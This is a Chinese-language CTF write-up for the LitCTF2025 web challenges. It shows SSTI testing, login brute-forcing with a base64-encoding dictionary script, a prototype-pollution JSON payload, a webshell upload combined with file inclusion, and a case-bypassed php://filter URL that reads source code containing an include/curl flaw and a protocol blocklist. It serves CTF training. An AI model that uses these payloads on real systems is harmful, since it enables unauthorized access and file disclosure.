LitCTF2025 WEB

星愿信箱

使用的是python,那么大概率是ssti注入

测试{{5*5}}

发现需要包含文字,那么添加文字

可以看到被waf过滤了,直接抓包查看参数上fenjing

可以看到这里是json格式,其实fenjing也是支持json格式的

https://github.com/Marven11/Fenjing/blob/main/examples.md

nest_js

爆破密码

bp发送到intruder爆破

可以看到当密码是password的时候返回了一个token,那么登录进去看看

多重宇宙日记

描述:ez原型链,你能成为管理员拿到flag吗?

先注册一个账户这里然后登录进去

查看源码

构造原型链

复制代码
{
    "settings": {
        "theme": "ctf",
        "language": "ctf",
        "__proto__": {
            "isAdmin": true
        }
    }
}

然后点击管理员面板获取flag

easy_file

在输入账户密码登录的时候可以发现账户被加base64密了

所有这里爆破密码需要构造base64的密码

python 复制代码
import base64


def convert_passwords_to_base64(input_file, output_file):
    """
    逐行读取密码文件,转换为Base64并写入输出文件

    :param input_file: 输入密码文件路径
    :param output_file: 输出Base64文件路径
    """
    try:
        with open(input_file, 'r') as infile, open(output_file, 'w') as outfile:
            for line in infile:
                # 去除行尾换行符
                password = line.strip()
                if password:  # 忽略空行
                    # 将密码转换为bytes,然后Base64编码
                    password_bytes = password.encode('utf-8')
                    base64_bytes = base64.b64encode(password_bytes)
                    base64_str = base64_bytes.decode('utf-8')

                    # 写入输出文件
                    outfile.write(base64_str + '\n')

        print(f"成功转换密码并保存到 {output_file}")

    except FileNotFoundError:
        print(f"错误: 文件 {input_file} 不存在")
    except Exception as e:
        print(f"发生错误: {str(e)}")


if __name__ == "__main__":
    input_filename = "pwd.txt"  # 输入密码文件
    output_filename = "passwords_base64.txt"  # 输出Base64文件

    convert_passwords_to_base64(input_filename, output_filename)

这里使用python脚本把自己的密码字典转换成base64编码的

可以看到这里的cGFzc3dvcmQ的长度和其它的不一样密码应该就是这个base64解密

发现是可以登录的,admin,password

然后这里进行文件上传绕过发现死活绕不过。之后发现信息搜集不全

在主站源码里面有个提示。

有了file就知道上传一个一句话木马的jpg,然后利用file进行文件包含

easy_signin

使用dirsearch扫描网站目录知道存在login.html和api

访问login.html发现登录页面,然后进行爆破发现死活爆不出来,一直提示账户错误

换个思路,还有一个api文件夹访问不了。

查看登录页面的源码吧,发现一个api.js

存在一个传参点,试试php伪协议,这里过滤了php,可以使用大小写绕过

发现可以读取。那么读取一下api/sys/urlcode.php

http://node12.anna.nssctf.cn:25159/api/sys/urlcode.php?url=phP://filter/read=convert.base64-encode/resource=/var/www/html/api/sys/urlcode.php

python 复制代码
<?php
error_reporting(0);

function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_REQUEST['url'];
if($url){

    $forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
    $protocol_block = false;
    foreach ($forbidden_protocols as $proto) {
        if (strpos($url, $proto) === 0) {  
            $protocol_block = true;
            break;
        }
    }
    $log_block = strpos($url, '.log') !== false;  
    
    if ($protocol_block) {
        echo "禁止访问:不允许使用 {$proto} 协议";
    } elseif ($log_block) {
        echo "禁止访问:URL 包含 .log";
    } elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
        echo "看不见哦";
    } else {
        echo "<b>".$url." 的快照如下:</b><br><br>";
        echo "<pre>";
        curl($url);
        include($url);
        echo "</pre>";
    }
}
?>

可以看到进行了过滤

flag应该在327a6c4304ad5938eaf0efb6cc3e53dc.php里面。访问一下看看

http://node6.anna.nssctf.cn:22089/327a6c4304ad5938eaf0efb6cc3e53dc.php

可以看到f'lag

君の名は

参考佬写的,很详细

https://www.cnblogs.com/Litsasuk/articles/18896993

相关推荐
泷羽Sec-静安25 分钟前
Less-1 GET-Error based-Single quotes-String GET-基于错误-单引号-字符串
前端·css·网络·sql·安全·web安全·less
小时前端36 分钟前
虚拟DOM已死?90%内存节省的Vapor模式正在颠覆前端
前端·html
Keepreal49638 分钟前
Web Components简介及如何使用
前端·javascript·html
jump6801 小时前
TS中 unknown 和 any 的区别
前端
无羡仙1 小时前
AI终于‘看见’网页了!Stagewise让UI修改从‘盲调’变‘指哪打哪
前端
柯腾啊2 小时前
“Script error.”的产生原因和解决办法
前端·javascript·浏览器
沙漠之皇2 小时前
ts 定义重复对象字段
前端
HashTang2 小时前
不用再配服务器了!这套 Next.js + Cloudflare 模板,一个人搞定全栈出海
前端·后端·边缘计算
前端架构师-老李3 小时前
16 Electron 应用自动更新方案:electron-updater 完整指南
前端·javascript·electron
一只学java的小汉堡3 小时前
HTML 01入门:从概念到开发环境搭建与页面头部配置
前端·css·html